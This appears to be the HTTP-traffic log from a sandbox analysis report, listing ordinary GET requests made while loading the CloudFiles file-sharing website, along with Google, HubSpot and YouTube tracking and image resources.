Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/10783125194/?random=1663946097443&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1027656747&resp=GooglemKTybQhCsO&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o
Source: global traffic	HTTP traffic detected: GET /logos/CloudFilesLogo.svg HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __hstc=218584006.222eafc23c17f2f1f20b9c762dc2bdcf.1663946098461.1663946098461.1663946098461.1; hubspotutk=222eafc23c17f2f1f20b9c762dc2bdcf; __hssrc=1; __hssc=218584006.1.1663946098463
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"23d-5m7x852I5e9PUXYs14wIemXqxlk"
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=4285505810&v=1.1&a=20182553&pu=https%3A%2F%2Fcloudfiles.io%2F&t=File+Sharing+Platform+%7C+Share+Documents+Online+%7C+CloudFiles&cts=1663946098472&vi=222eafc23c17f2f1f20b9c762dc2bdcf&nc=true&u=218584006.222eafc23c17f2f1f20b9c762dc2bdcf.1663946098461.1663946098461.1663946098461.1&b=218584006.1.1663946098463&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=KBeB2x5rqUrxdG9hNMEB40Lk8PAadP80.qhombaISjw-1663913693-0-AcDU+D5wZXtpRYkuUNQbXu6lie4owgpFswTDlMODroNE0+Wv8KtGwsI4RHfUpXPH7lPTDvesEM9gPWctUvKBqwg=
Source: global traffic	HTTP traffic detected: GET /userpreferences/v1/avatar/af37eb0cf85adf85d80f9fda4baa0b45/100 HTTP/1.1Host: api-na1.hubspot.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=KBeB2x5rqUrxdG9hNMEB40Lk8PAadP80.qhombaISjw-1663913693-0-AcDU+D5wZXtpRYkuUNQbXu6lie4owgpFswTDlMODroNE0+Wv8KtGwsI4RHfUpXPH7lPTDvesEM9gPWctUvKBqwg=
Source: global traffic	HTTP traffic detected: GET /userpreferences/v1/avatar/7baf5799201cac38d1c7a19dc11b89b1/100 HTTP/1.1Host: api-na1.hubspot.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=KBeB2x5rqUrxdG9hNMEB40Lk8PAadP80.qhombaISjw-1663913693-0-AcDU+D5wZXtpRYkuUNQbXu6lie4owgpFswTDlMODroNE0+Wv8KtGwsI4RHfUpXPH7lPTDvesEM9gPWctUvKBqwg=
Source: global traffic	HTTP traffic detected: GET /userpreferences/v1/avatar/9da96031556358e4754625e37320e787/100 HTTP/1.1Host: api-na1.hubspot.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=KBeB2x5rqUrxdG9hNMEB40Lk8PAadP80.qhombaISjw-1663913693-0-AcDU+D5wZXtpRYkuUNQbXu6lie4owgpFswTDlMODroNE0+Wv8KtGwsI4RHfUpXPH7lPTDvesEM9gPWctUvKBqwg=
Source: global traffic	HTTP traffic detected: GET /api/ly7mR8utBQ5 HTTP/1.1Host: api.cloudfil.esConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Accept: application/json, text/plain, /cf-session-id: 632d4ec5c3d2310bbf142ae1cf-device-id: 4573b0a3-d086-4d9f-bb85-8dd384048e9dsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudfil.esSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudfil.es/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"23d-5m7x852I5e9PUXYs14wIemXqxlk"
Source: global traffic	HTTP traffic detected: GET /9da96031556358e4754625e37320e787-100 HTTP/1.1Host: avatars.hubspot.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7baf5799201cac38d1c7a19dc11b89b1-100 HTTP/1.1Host: avatars.hubspot.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /af37eb0cf85adf85d80f9fda4baa0b45-100 HTTP/1.1Host: avatars.hubspot.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logos/FullLogo-new.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/CloudFilesLogo.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fhs-logo.png&w=3840&q=75 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/hero-image.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/5-star-rating.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fg2-logo.png&w=3840&q=75 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Chris-Moore.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/1920px-HubSpot_Logo.svg.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /ytc/AMLnZu-FWsVbF8aAR_gls7ecgPiqYZt6-nIMTeclblUc=s68-c-k-c0x00ffffff-no-rj HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: yt3.ggpht.com
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/StephenDrew.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /vi_webp/1rkTwk6PKdY/sddefault.webp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: i.ytimg.com
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Architecture-Social.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/goreact-logo.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /userpreferences/v1/avatar/af37eb0cf85adf85d80f9fda4baa0b45/100 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: api-na1.hubspot.com
Source: global traffic	HTTP traffic detected: GET /userpreferences/v1/avatar/7baf5799201cac38d1c7a19dc11b89b1/100 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: api-na1.hubspot.com
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Travis-White.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/neighbourhood-logo.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /userpreferences/v1/avatar/9da96031556358e4754625e37320e787/100 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: api-na1.hubspot.com
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/avatar-man.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/chemstation-logo.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/sf-logo.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/hs-logo.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/cloud-copy.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/secure-file-sharing.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/file-links.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/detailed-analytics.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Jordan-Harris.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/content-marketing.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/ecm-vs-cms.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/email-attachment.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/buddha-banner.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/cloudfiles-white-logo.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/security/soc2.webp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/security/gdpr.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/security/iso27001.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/twitter.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/linkedin.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/angellist.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /icons/email.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/footer-background.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /logos/FullLogo-new.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "6828bfea39e698db0210a67f79cff32c"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/hero-image.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "4e2cb1ad210e58b3c977279210908988"
Source: global traffic	HTTP traffic detected: GET /_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fhs-logo.png&w=3840&q=75 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-Modified-Since: Thu, 08 Sep 2022 14:38:34 GMT
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/5-star-rating.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "7b3e30bc5aa52d7f1903d1c68ad34818"
Source: global traffic	HTTP traffic detected: GET /_next/image?url=%2Fimages%2Fpages%2Fhome%2Ftestimonials%2Fg2-logo.png&w=3840&q=75 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-Modified-Since: Thu, 08 Sep 2022 14:40:07 GMT
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Chris-Moore.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "8c49ed37fa963fa09037015dd71a680f"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/1920px-HubSpot_Logo.svg.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "fa23191bc3e76f4448fefdc777132780"
Source: global traffic	HTTP traffic detected: GET /logos/CloudFilesLogo.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "042dd544efee9717a3de914b1faecf68"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/StephenDrew.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "99ff3bfe76149ad4dea863dfaf56c8b4"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Architecture-Social.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "67e015195ac89bf41c2b8d10bb9b0fc5"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Jordan-Harris.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/Travis-White.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "cd0c74d998d0cfc6d12535267d20afce"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/neighbourhood-logo.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/avatar-man.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "3b2a6f64bccf299335d04860b3fc9d2e"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/chemstation-logo.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "9031f1c63aa192419b8ed5e6a6d74ba9"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/goreact-logo.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "5b95c58f24c7d78e6752ce122cdc2311"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/hs-logo.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "ba5562838bd8e6073b4a8996cfedf86c"
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/cloud-copy.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/secure-file-sharing.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/file-links.svg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/features/detailed-analytics.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.io
Source: global traffic	HTTP traffic detected: GET /images/pages/home/testimonials/sf-logo.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: cloudfiles.ioIf-None-Match: "b6bacb4e58fabf87be42b96d1bf9d734"
